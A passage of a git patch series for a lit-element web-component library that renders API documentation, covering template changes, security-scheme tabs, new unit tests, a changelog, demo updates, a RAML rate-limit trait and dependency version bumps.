    + `; + } + + /** + * @param {ApiSecurityRequirement} security + * @returns {TemplateResult} + */ + [securityTabTemplate](security) { + const { name, schemes=[], id } = security; + let label = 'unknown'; + if (name) { + label = name; + } else if (schemes.length) { + const parts = schemes.map(i => i.name).filter(i => !!i); + if (parts.length) { + label = parts.join('/'); + } + } + return html`${label}`; + } + /** * @returns {TemplateResult|string} The template for the "try it" button. */ diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js index 7ec3a5f..c92dc31 100644 --- a/src/elements/ApiPayloadDocumentElement.js +++ b/src/elements/ApiPayloadDocumentElement.js @@ -141,7 +141,7 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase { return html`
    Schema is not defined for this payload.
    `; } return html` - + `; } } diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js index 0efdc33..f72bc0c 100644 --- a/src/elements/ApiRequestDocumentElement.js +++ b/src/elements/ApiRequestDocumentElement.js @@ -378,7 +378,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { } const content = html` ${this[payloadSelectorTemplate]()} - + `; return this[paramsSectionTemplate]('Request body', 'payloadOpened', content); } diff --git a/src/elements/ApiResourceDocumentationElement.js b/src/elements/ApiResourceDocumentationElement.js index c948288..7deb67b 100644 --- a/src/elements/ApiResourceDocumentationElement.js +++ b/src/elements/ApiResourceDocumentationElement.js @@ -392,6 +392,7 @@ export default class ApiResourceDocumentationElement extends ApiDocumentationBas .domainId="${operation.id}" .serverId="${serverId}" .baseUri="${baseUri}" + ?anypoint="${this.anypoint}" data-domain-id="${operation.id}" ?tryIt="${this.tryIt}" responsesOpened diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js index 6e32f6b..b42f0de 100644 --- a/src/elements/ApiResponseDocumentElement.js +++ b/src/elements/ApiResponseDocumentElement.js @@ -205,7 +205,7 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { } const content = html` ${this[payloadSelectorTemplate]()} - + `; return this[paramsSectionTemplate]('Response body', 'payloadOpened', content); } @@ -270,7 +270,7 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { return html` ${this[linkOperationTemplate](operationId)} -
    + `; diff --git a/src/elements/ApiSecurityDocumentElement.js b/src/elements/ApiSecurityDocumentElement.js index 362599e..265bc3b 100644 --- a/src/elements/ApiSecurityDocumentElement.js +++ b/src/elements/ApiSecurityDocumentElement.js @@ -356,8 +356,9 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase { .selected="${selectedStatus}" attrForSelected="data-status" @selected="${this[statusCodeHandler]}" + ?compatibility="${this.anypoint}" > - ${filtered.map((item) => html`${item.statusCode}`)} + ${filtered.map((item) => html`${item.statusCode}`)}
    @@ -375,7 +376,7 @@ export default class ApiSecurityDocumentElement extends ApiDocumentationBase { return html`
    Select a response to render the documentation.
    `; } return html` - + `; } diff --git a/src/elements/ApiSecurityRequirementDocumentElement.js b/src/elements/ApiSecurityRequirementDocumentElement.js index 35ec22f..b908bad 100644 --- a/src/elements/ApiSecurityRequirementDocumentElement.js +++ b/src/elements/ApiSecurityRequirementDocumentElement.js @@ -1,8 +1,10 @@ +/* eslint-disable class-methods-use-this */ import { html } from 'lit-element'; import { ApiDocumentationBase, serializerValue, } from './ApiDocumentationBase.js'; +import elementStyles from './styles/ApiSecurityRequirement.js'; import '../../api-parametrized-security-scheme.js'; /** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ @@ -13,6 +15,10 @@ export const findSecurity = Symbol('findSecurity'); export const findOperationSecurity = Symbol('findOperationSecurity'); export default class ApiSecurityRequirementDocumentElement extends ApiDocumentationBase { + get styles() { + return [elementStyles]; + } + constructor() { super(); /** @type {ApiSecurityRequirement} */ @@ -134,13 +140,16 @@ export default class ApiSecurityRequirementDocumentElement extends ApiDocumentat return html``; } return html` +
    ${scheme.schemes.map((item) => html` `)} + ?anypoint="${this.anypoint}" + settingsOpened + >`)}
    `; } diff --git a/src/elements/SchemaCommonTemplates.js b/src/elements/SchemaCommonTemplates.js index 7bcc76d..de0053f 100644 --- a/src/elements/SchemaCommonTemplates.js +++ b/src/elements/SchemaCommonTemplates.js @@ -1,6 +1,7 @@ import { html } from "lit-element"; import { ns } from '@api-components/amf-helper-mixin'; import { classMap } from "lit-html/directives/class-map"; +import { ifDefined } from "lit-html/directives/if-defined"; import '../../api-annotation-document.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ @@ -129,13 +130,14 @@ export function descriptionValueTemplate(description) { } /** - * @param {string} label - * @param {string} value + * @param {string} label The label to render + * @param {string} value The value to render + * @param {string=} name Optional data-name attribute value. * @return {TemplateResult} */ -export function tablePropertyTemplate(label, value) { +export function tablePropertyTemplate(label, value, name) { return html` -
    +
    ${label}:
    ${value}
    diff --git a/src/elements/styles/ApiSecurityRequirement.js b/src/elements/styles/ApiSecurityRequirement.js new file mode 100644 index 0000000..6ed255d --- /dev/null +++ b/src/elements/styles/ApiSecurityRequirement.js @@ -0,0 +1,7 @@ +import { css } from 'lit-element'; + +export default css` +:host { + display: block; +} +`; diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js index 9ebad2d..5336a4d 100644 --- a/test/elements/ApiOperationDocumentElement.test.js +++ b/test/elements/ApiOperationDocumentElement.test.js @@ -1,4 +1,5 @@ import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing'; +import sinon from 'sinon'; import { AmfLoader } from '../AmfLoader.js'; import '../../api-operation-document.js'; import '../../api-request-document.js'; @@ -29,6 +30,22 @@ describe('ApiOperationDocumentElement', () => { return /** @type ApiOperationDocumentElement */ (element); } + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function tryItFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + /** * @param {AmfDocument} amf * @param {Operation=} shape @@ -62,8 +79,387 @@ describe('ApiOperationDocumentElement', () => { return /** @type ApiOperationDocumentElement */ (element); } + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function securityFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + [false, true].forEach((compact) => { describe(compact ? 'Compact model' : 'Full model', () => { + describe('basic AMF computations', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiOperationDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupOperation(model, '/people', 'get'); + element = await basicFixture(model, data); + }); + + it('sets the operation property', () => { + const { operation } = element; + assert.typeOf(operation, 'object', 'has the operation') + assert.equal(operation.method, 'get', 'has the operation properties') + }); + + it('sets the parent endpoint property', () => { + const { endpoint } = element; + assert.typeOf(endpoint, 'object', 'has the endpoint') + assert.equal(endpoint.path, '/people', 'has the endpoint properties') + }); + + it('sets the list of servers', () => { + const { servers } = element; + assert.typeOf(servers, 'array', 'has the servers') + assert.lengthOf(servers, 1, 'has the only server') + assert.equal(servers[0].url, 'http://{instance}.domain.com/'); + }); + + it('returns the first server in the #server getter', () => { + const { server } = element; + assert.typeOf(server, 'object', 'has the server') + assert.equal(server.url, 'http://{instance}.domain.com/'); + }); + + it('computes value for the #snippetsUri getter', () => { + const { snippetsUri } = element; + assert.typeOf(snippetsUri, 'string', 'has the snippetsUri') + assert.equal(snippetsUri, 'http://{instance}.domain.com/people'); + }); + + it('computes the list of responses', () => { + const { responses } = element; + assert.typeOf(responses, 'array', 'has the responses') + assert.lengthOf(responses, 2, 'has all responses'); + }); + + it('the responses are ordered', () => { + const { responses } = element; + const [r1, r2] = responses; + assert.equal(r1.statusCode, '200'); + assert.equal(r2.statusCode, '400'); + }); + + it('pre-selects the response status code', () => { + const { selectedStatus } = element; + assert.equal(selectedStatus, '200'); + }); + + it('computes the endpoint URI', () => { + const { endpointUri } = element; + assert.equal(endpointUri, 'http://{instance}.domain.com/people'); + }); + }); + + describe('Data rendering', () => { + /** @type AmfDocument */ + let demoModel; + /** @type AmfDocument */ + let asyncModel; + /** @type AmfDocument */ + let oasCallbacksModel; + /** @type AmfDocument */ + let petStoreModel; + before(async () => { + demoModel = await loader.getGraph(compact); + asyncModel = await loader.getGraph(compact, 'async-api'); + oasCallbacksModel = await loader.getGraph(compact, 'oas-callbacks'); + petStoreModel = await loader.getGraph(compact, 'Petstore-v2'); + }); + + it('renders the operation name, when defined', async () => { + const data = loader.lookupOperation(demoModel, '/people', 'get'); + const element = await basicFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const label = header.querySelector('.label'); + assert.equal(label.textContent.trim(), 'List people'); + }); + + it('renders the operation method, when name not defined', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await basicFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const label = header.querySelector('.label'); + assert.equal(label.textContent.trim(), 'put'); + }); + + it('renders the operation sub-title for sync API', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await basicFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const label = header.querySelector('.sub-header'); + assert.equal(label.textContent.trim(), 'API operation'); + }); + + it('renders the operation sub-title for async API', async () => { + const data = loader.lookupOperation(asyncModel, 'hello', 'publish'); + const element = await asyncFixture(asyncModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const label = header.querySelector('.sub-header'); + assert.equal(label.textContent.trim(), 'Async operation'); + }); + + it('renders the operation summary', async () => { + const data = loader.lookupOperation(petStoreModel, '/pets', 'get'); + const element = await basicFixture(petStoreModel, data); + const summary = element.shadowRoot.querySelector('.summary'); + assert.ok(summary, 'has the summary'); + assert.equal(summary.textContent.trim(), 'Finds pets by tag'); + }); + + it('renders the operation id', async () => { + const data = loader.lookupOperation(petStoreModel, '/pets', 'get'); + const element = await basicFixture(petStoreModel, data); + const field = element.shadowRoot.querySelector('.schema-property-item[data-name="operation-id"]'); + assert.ok(field, 'has the operation id label'); + const value = field.querySelector('.schema-property-value'); + assert.equal(value.textContent.trim(), 'findPets'); + }); + + it('renders the endpoint URI', async () => { + const data = loader.lookupOperation(demoModel, '/people/{personId}', 'get'); + const element = await basicFixture(demoModel, data); + const section = element.shadowRoot.querySelector('.endpoint-url'); + assert.ok(section, 'has the url section'); + const node = section.querySelector('.url-value'); + assert.equal(node.textContent.trim(), 'http://{instance}.domain.com/people/{personId}'); + }); + + it('renders the method with the endpoint URI', async () => { + const data = loader.lookupOperation(demoModel, '/people/{personId}', 'get'); + const element = await basicFixture(demoModel, data); + const section = element.shadowRoot.querySelector('.endpoint-url'); + assert.ok(section, 'has the url section'); + const node = section.querySelector('.method-label'); + assert.equal(node.textContent.trim(), 'get'); + }); + + it('does not render the URI when async API', async () => { + const data = loader.lookupOperation(asyncModel, 'hello', 'publish'); + const element = await asyncFixture(asyncModel, data); + const section = element.shadowRoot.querySelector('.endpoint-url'); + assert.notOk(section, 'has no url section'); + }); + + it('renders the traits', async () => { + const data = loader.lookupOperation(demoModel, '/people', 'get'); + const element = await asyncFixture(demoModel, data); + const section = element.shadowRoot.querySelector('.extensions'); + assert.ok(section, 'has the traits line'); + assert.equal(section.textContent.trim(), 'Mixes in Paginated.', 'has the traits content'); + }); + + it('renders the annotations', async () => { + const data = loader.lookupOperation(demoModel, '/test-parameters/{feature}', 'get'); + const element = await asyncFixture(demoModel, data); + const section = element.shadowRoot.querySelector('api-annotation-document'); + assert.ok(section, 'has the annotations'); + assert.equal(section.getAttribute('aria-hidden'), 'false', 'renders the content'); + }); + + it('renders the request document', async () => { + const data = loader.lookupOperation(demoModel, '/test-parameters/{feature}', 'get'); + const element = await asyncFixture(demoModel, data); + const section = /** @type ApiRequestDocumentElement */ (element.shadowRoot.querySelector('api-request-document')); + assert.ok(section, 'has the request document'); + assert.isTrue(section.amf === demoModel, 'passes the amf model'); + assert.typeOf(section.request, 'object', 'passes the request model'); + assert.typeOf(section.endpoint, 'object', 'passes the endpoint model'); + assert.typeOf(section.server, 'object', 'passes the server model'); + }); + + it('renders the deprecated message', async () => { + const data = loader.lookupOperation(petStoreModel, '/pets', 'get'); + const element = await basicFixture(petStoreModel, data); + const message = element.shadowRoot.querySelector('.deprecated-message'); + assert.ok(message, 'has the message'); + assert.equal(message.querySelector('.message').textContent.trim(), 'This operation is marked as deprecated.'); + }); + + it('renders the callbacks section', async () => { + const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post'); + const element = await basicFixture(oasCallbacksModel, data); + const callbacksSection = element.shadowRoot.querySelector('[data-controlled-by="callbacksOpened"]'); + assert.ok(callbacksSection, 'has the message'); + + const callbacks = callbacksSection.querySelectorAll('.callback-section'); + assert.lengthOf(callbacks, 3, 'has 3 callbacks rendered'); + + const first = callbacks[0]; + assert.ok(first.querySelector('.table-title'), 'has the title'); + assert.ok(first.querySelector('api-operation-document'), 'has the operation definition'); + }); + + it('renders the links section', async () => { + const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post'); + const element = await basicFixture(oasCallbacksModel, data); + const response = element.shadowRoot.querySelector('api-response-document'); + assert.ok(response, 'has the response'); + + const title = response.shadowRoot.querySelector('.links-header'); + assert.ok(title, 'has the links title'); + assert.equal(title.textContent.trim(), 'Links', 'has the links title content'); + + const linkHeaders = response.shadowRoot.querySelectorAll('.link-header'); + assert.lengthOf(linkHeaders, 2, 'has link title for each link'); + + const linkTable = response.shadowRoot.querySelectorAll('.link-table'); + assert.lengthOf(linkTable, 2, 'has link content for each link'); + + const linkOperations = response.shadowRoot.querySelectorAll('.operation-id'); + assert.lengthOf(linkOperations, 1, 'has a single link to operation id'); + }); + + it('renders the responses section', async () => { + const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post'); + const element = await basicFixture(oasCallbacksModel, data); + const response = element.shadowRoot.querySelector('api-response-document'); + assert.ok(response, 'has the response'); + + assert.isTrue(response.amf === oasCallbacksModel, 'passes the amf model'); + assert.typeOf(response.response, 'object', 'passes the response model'); + }); + + it('does not render responses when not defined', async () => { + const data = loader.lookupOperation(demoModel, '/query-params/bool', 'get'); + const element = await basicFixture(demoModel, data); + const response = element.shadowRoot.querySelector('api-response-document'); + assert.notOk(response, 'has not response documentation'); + }); + }); + + describe('try it button', () => { + /** @type AmfDocument */ + let demoModel; + before(async () => { + demoModel = await loader.getGraph(compact); + }); + + it('does not render the try-it by default', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await basicFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const button = header.querySelector('.action-button'); + assert.notOk(button, 'has no button in the header'); + }); + + it('renders the try-it when configured', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await tryItFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const button = header.querySelector('.action-button'); + assert.ok(button, 'has the button'); + assert.equal(button.textContent.trim(), 'Try it') + }); + + it('dispatches the bubbling tryit event when clicking on the button', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await tryItFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const button = /** @type HTMLElement */ (header.querySelector('.action-button')); + const spy = sinon.spy(); + document.body.addEventListener('tryit', spy); + button.click(); + assert.isTrue(spy.calledOnce, 'the event was dispatched'); + const {detail} = spy.args[0][0]; + assert.typeOf(detail, 'object', 'the event has the detail'); + assert.typeOf(detail.id, 'string', 'has the operation id'); + }); + + it('dispatches the bubbling legacy tryit-requested event when clicking on the button', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await tryItFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const button = /** @type HTMLElement */ (header.querySelector('.action-button')); + const spy = sinon.spy(); + document.body.addEventListener('tryit-requested', spy); + button.click(); + assert.isTrue(spy.calledOnce, 'the event was dispatched'); + const {detail} = spy.args[0][0]; + assert.typeOf(detail, 'object', 'the event has the detail'); + assert.typeOf(detail.id, 'string', 'has the operation id'); + }); + }); + + describe('responses template', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the response status code selector', async () => { + const data = loader.lookupOperation(model, '/people', 'get'); + const element = await basicFixture(model, data); + + const selector = element.shadowRoot.querySelector('.status-codes-selector'); + assert.ok(selector, 'has the selector section'); + + const tabsSection = selector.querySelector('anypoint-tabs'); + assert.ok(tabsSection, 'has the tabs element'); + + const tabs = tabsSection.querySelectorAll('anypoint-tab'); + assert.lengthOf(tabs, 2, 'has both status codes'); + + assert.equal(tabs[0].textContent.trim(), '200'); + assert.equal(tabs[1].textContent.trim(), '400'); + }); + + it('renders the response for the status', async () => { + const data = loader.lookupOperation(model, '/people', 'get'); + const element = await basicFixture(model, data); + + const doc = element.shadowRoot.querySelector('api-response-document'); + assert.ok(doc); + + assert.isTrue(doc.amf === model, 'passes the amf model'); + assert.typeOf(doc.response, 'object', 'passes the response model'); + assert.typeOf(doc.response.id, 'string', 'passes the serialized response model'); + }); + + it('switches the response when selecting a status code', async () => { + const data = loader.lookupOperation(model, '/people', 'get'); + const element = await basicFixture(model, data); + + const requestBefore = element.shadowRoot.querySelector('api-response-document').response.id; + + const selector = element.shadowRoot.querySelector('.status-codes-selector'); + const tabs = selector.querySelectorAll('anypoint-tab'); + tabs[1].click(); + + await nextFrame(); + + assert.equal(element.selectedStatus, '400', 'changes the selectedStatus'); + const requestAfter = element.shadowRoot.querySelector('api-response-document').response.id; + + assert.typeOf(requestAfter, 'string', 'has the response after the change'); + assert.notEqual(requestBefore, requestAfter, 'has a changed response'); + }); + + it('does not render responses section when no responses in the model', async () => { + const data = loader.lookupOperation(model, '/scalarArrays', 'get'); + const element = await basicFixture(model, data); + + const doc = element.shadowRoot.querySelector('api-response-document'); + assert.notOk(doc); + }); + }); + describe('response status codes', () => { /** @type AmfDocument */ let model; @@ -113,6 +509,65 @@ describe('ApiOperationDocumentElement', () => { }); }); + describe('security rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'secured-api'); + }); + + it('preselects the first security', async () => { + const data = loader.lookupOperation(model, '/basic', 'get'); + const element = await securityFixture(model, data); + assert.typeOf(element.securityId, 'string', 'has the securityId'); + }); + + it('renders a single security', async () => { + const data = loader.lookupOperation(model, '/basic', 'get'); + const element = await securityFixture(model, data); + + const selector = element.shadowRoot.querySelector('.security-selector'); + assert.notOk(selector, 'has no security selector'); + + const doc = element.shadowRoot.querySelector('api-security-requirement-document'); + assert.ok(doc, 'has the security documentation'); + + assert.isTrue(doc.amf === model, 'passes the model'); + assert.typeOf(doc.domainId, 'string', 'passes the security id'); + }); + + it('renders multiple security options', async () => { + const data = loader.lookupOperation(model, '/combo-types', 'get'); + const element = await securityFixture(model, data); + + const selector = element.shadowRoot.querySelector('.security-selector'); + assert.ok(selector, 'has the security selector'); + + const doc = element.shadowRoot.querySelector('api-security-requirement-document'); + assert.ok(doc, 'has the security documentation'); + + assert.isTrue(doc.amf === model, 'passes the model'); + assert.typeOf(doc.domainId, 'string', 'passes the security id'); + }); + + it('switches between the security schemes', async () => { + const data = loader.lookupOperation(model, '/combo-types', 'get'); + const element = await securityFixture(model, data); + + const selector = element.shadowRoot.querySelector('.security-selector'); + const tabs = selector.querySelectorAll('anypoint-tab'); + assert.lengthOf(tabs, 6, 'has all schemes rendered in the selector'); + + tabs[1].click(); + await nextFrame(); + + const doc = element.shadowRoot.querySelector('api-security-requirement-document'); + assert.ok(doc, 'has the security documentation'); + + assert.equal(doc.domainId, tabs[1].dataset.id, 'passes the security id'); + }); + }); + describe('SE-12752 - query string', () => { /** @type AmfDocument */ let model; From 2907bd232e1286adc7d9d3dbf7f4e8063d1092cb Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Mon, 4 Oct 2021 19:31:07 -0700 Subject: [PATCH 21/24] chore: finalizing the api request documentation Signed-off-by: Pawel Psztyc --- CHANGELOG.md | 10 + TODO.md | 5 +- demo/api-resource.js | 97 +++++- demo/apis/demo-api/demo-api.raml | 4 + demo/apis/demo-api/traits/rate-limited.raml | 9 + package-lock.json | 67 ++-- package.json | 6 +- src/elements/ApiOperationDocumentElement.js | 17 +- .../ApiResourceDocumentationElement.js | 319 ++++++++++++++++-- src/elements/styles/ApiResource.js | 47 ++- src/lib/Utils.js | 19 ++ 11 files changed, 505 insertions(+), 95 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 demo/apis/demo-api/traits/rate-limited.raml diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..a93e1cc --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,10 @@ +# Changelog + +## 7.0.0 + +### ApiResourceDocumentationElement (former api-endpoint-documentation) + +The `api-resource-document` element has the following properties changes compared to deprecated `api-endpoint-documentation` + +- `noTryIt` is renamed to `tryItButton`. When `tryItButton` is set then the try it button in operations is rendered. +- `noUrlEditor` is now renamed to `urlEditor`. When `urlEditor` is set then the HTTP request editor renders the URL editor input field. diff --git a/TODO.md b/TODO.md index 39d2149..7c840ec 100644 --- a/TODO.md +++ b/TODO.md @@ -3,12 +3,11 @@ - ~~Add "try it" button~~ - ~~Sync the Operation template~~ -- Sync the Endpoint template +- ~~Sync the Endpoint template~~ - ~~Sync the Schema template~~ - ~~Sync the Response template~~ - ~~Sync the Payload template~~ -- Render the request editor side-by-side -- Render multiple security schemes applied to a single method with tabs/drop-down selector +- ~~Render the request editor side-by-side~~ - ~~Fix the `(unknown path)` in the operation~~ - Rendering of fragments and the partial model - main `api-documentation` element diff --git a/demo/api-resource.js b/demo/api-resource.js index 4b09a58..41c794a 100644 --- a/demo/api-resource.js +++ b/demo/api-resource.js @@ -6,6 +6,7 @@ import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js'; import '@api-components/api-request/api-request-panel.js'; import '@api-components/api-request/xhr-simple-request.js'; import '@advanced-rest-client/authorization/oauth2-authorization.js'; +import '@api-components/api-server-selector/api-server-selector.js'; import { AmfDemoBase } from './lib/AmfDemoBase.js'; import '../api-resource-document.js'; @@ -13,8 +14,9 @@ class ComponentPage extends AmfDemoBase { constructor() { super(); this.initObservableProperties([ - 'selectedId', 'selectedType', 'selectedOperation', 'tryIt', + 'selectedId', 'selectedType', 'selectedOperation', 'tryItButton', 'tryItPanel', 'editorOpened', 'editorOperation', 'overrideBaseUri', + 'serverType', 'serverValue', ]); this.compatibility = false; this.editorOpened = false; @@ -22,12 +24,49 @@ class ComponentPage extends AmfDemoBase { this.selectedId = undefined; this.selectedType = undefined; this.selectedOperation = undefined; - this.tryIt = true; + this.tryItButton = true; + this.tryItPanel = true; this.overrideBaseUri = false; this.componentName = 'api-endpoint-document'; this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; } + get baseUri() { + const { serverValue, serverType } = this; + if (['custom', 'uri'].includes(serverType)) { + return serverValue; + } + return undefined; + } + + get serverId() { + const { serverValue, serverType, selectedId } = this; + if (!serverValue || ['custom', 'uri'].includes(serverType)) { + return undefined; + } + const servers = this._getServers({ endpointId: selectedId }); + if (!Array.isArray(servers)) { + return undefined; + } + const srv = servers.find((item) => { + const url = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.urlTemplate)); + return url === serverValue; + }); + if (srv) { + return srv['@id']; + } + return undefined; + } + + /** + * @param {CustomEvent} e + */ + _serverHandler(e) { + const { value, type } = e.detail; + this.serverType = type; + this.serverValue = value; + } + /** * @param {CustomEvent} e */ @@ -83,6 +122,7 @@ class ComponentPage extends AmfDemoBase { This demo lets you preview the API endpoint document with various configuration options.

    + ${this.serverSelectorTemplate()}
    ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()}
    @@ -98,10 +138,17 @@ class ComponentPage extends AmfDemoBase { } componentTemplate() { - const { demoStates, darkThemeActive, selectedId, selectedOperation, amf, tryIt, overrideBaseUri } = this; + const { demoStates, darkThemeActive, selectedId, selectedOperation, amf, tryItButton, tryItPanel, overrideBaseUri, baseUri, serverId } = this; if (!selectedId) { return html`

    Select API operation in the navigation

    `; } + let finalBaseUri; + if (baseUri) { + finalBaseUri = baseUri; + } else if (overrideBaseUri) { + finalBaseUri = 'https://custom.api.com'; + } + console.log(finalBaseUri); return html` @@ -123,12 +175,21 @@ class ComponentPage extends AmfDemoBase { Render try it + + Render HTTP editor + `; } + + /** + * @return {object} A template for the server selector + */ + serverSelectorTemplate() { + const { + amf, + serverType, + serverValue, + compatibility, + } = this; + return html` + `; + } } const instance = new ComponentPage(); instance.render(); diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml index 5666ff2..01733a5 100644 --- a/demo/apis/demo-api/demo-api.raml +++ b/demo/apis/demo-api/demo-api.raml @@ -276,6 +276,7 @@ resourceTypes: traits: Paginated: !include traits/pagination.raml Adminable: !include traits/adminable.raml + RateLimited: !include traits/rate-limited.raml securitySchemes: basic: !include securitySchemes/basic.raml oauth_2_0: !include securitySchemes/oauth_2_0.raml @@ -482,6 +483,7 @@ documentation: /people: displayName: People type: RequestErrorResponse + is: [RateLimited] get: (annotationTest): displayName: List people @@ -606,6 +608,7 @@ documentation: /products: displayName: Products description: The API is to be used to access data about the products. + type: RequestErrorResponse post: displayName: Create product description: | @@ -650,6 +653,7 @@ documentation: description: The request has been rejected. Probably the product already exists in the datastore. /orgs: /{orgId}: + is: [RateLimited] get: displayName: Get organization description: Returns an organization info. diff --git a/demo/apis/demo-api/traits/rate-limited.raml b/demo/apis/demo-api/traits/rate-limited.raml new file mode 100644 index 0000000..7105984 --- /dev/null +++ b/demo/apis/demo-api/traits/rate-limited.raml @@ -0,0 +1,9 @@ +#%RAML 1.0 Trait + +displayName: RateLimited +usage: TO be used when the API has a rate limit on the API gateway. +headers: + x-rate-client-id: + description: he client ID to use for the rate limit. + example: 5757gh76 + required: true diff --git a/package-lock.json b/package-lock.json index 6c996f5..e38d78c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -629,9 +629,9 @@ } }, "@api-components/amf-helper-mixin": { - "version": "4.5.14", - "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.14.tgz", - "integrity": "sha512-T1TuZFgJJVRQbMXf9oOLoOtwvzhW2cEMIbpe3b3p6REh5CYPS6+FimxqqP3zfBBYsPfyiufHUZ5Agj77enL2uw==", + "version": "4.5.15", + "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.15.tgz", + "integrity": "sha512-//mA1EKC8mnjjYkOqSnXI8uBMdXPSodj5MqlZ1ZcvZ+6uOW11ozVpdIay1olylqL6NlDItzWdzDxQH3yZXqtAg==", "requires": { "amf-json-ld-lib": "0.0.14" } @@ -663,9 +663,9 @@ } }, "@api-components/api-request": { - "version": "0.3.0-beta.6", - "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.6.tgz", - "integrity": "sha512-9MmQ4Lt1sIefpQ/kMBUOla97v4nn9TX5BzEUPcNoMsHDr8T3aFCWBMxPh6QcGuwiWSf2XMypVyYZn3DF8iEBkw==", + "version": "0.3.0-beta.8", + "resolved": "https://registry.npmjs.org/@api-components/api-request/-/api-request-0.3.0-beta.8.tgz", + "integrity": "sha512-a4d12nUssc3hj43MnE+irU+f1rSEZkDM2RDZaJguaPXgzBKK40Kh+e/jwI9uwuuqXfIiQakILNXxqNk926ijrw==", "requires": { "@advanced-rest-client/arc-events": "^0.2.21", "@advanced-rest-client/arc-headers": "^0.1.7", @@ -6723,12 +6723,6 @@ "text-extensions": "^1.0.0" } }, - "is-unicode-supported": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", - "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", - "dev": true - }, "is-valid-element-name": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-valid-element-name/-/is-valid-element-name-1.0.0.tgz", @@ -7251,31 +7245,31 @@ "dev": true }, "lint-staged": { - "version": "11.1.2", - "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.1.2.tgz", - "integrity": "sha512-6lYpNoA9wGqkL6Hew/4n1H6lRqF3qCsujVT0Oq5Z4hiSAM7S6NksPJ3gnr7A7R52xCtiZMcEUNNQ6d6X5Bvh9w==", + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.2.0.tgz", + "integrity": "sha512-0KIcRuO4HQS2Su7qWtjrfTXgSklvyIb9Fk9qVWRZkGHa5S81Vj6WBbs+ogQBvHUwLJYq1eQ4R+H82GSak4OM7w==", "dev": true, "requires": { - "chalk": "^4.1.1", - "cli-truncate": "^2.1.0", - "commander": "^7.2.0", - "cosmiconfig": "^7.0.0", - "debug": "^4.3.1", + "cli-truncate": "2.1.0", + "colorette": "^1.4.0", + "commander": "^8.2.0", + "cosmiconfig": "^7.0.1", + "debug": "^4.3.2", "enquirer": "^2.3.6", - "execa": "^5.0.0", - "listr2": "^3.8.2", - "log-symbols": "^4.1.0", + "execa": "^5.1.1", + "listr2": "^3.12.2", "micromatch": "^4.0.4", "normalize-path": "^3.0.0", "please-upgrade-node": "^3.2.0", "string-argv": "0.3.1", - "stringify-object": "^3.3.0" + "stringify-object": "3.3.0", + "supports-color": "8.1.1" }, "dependencies": { 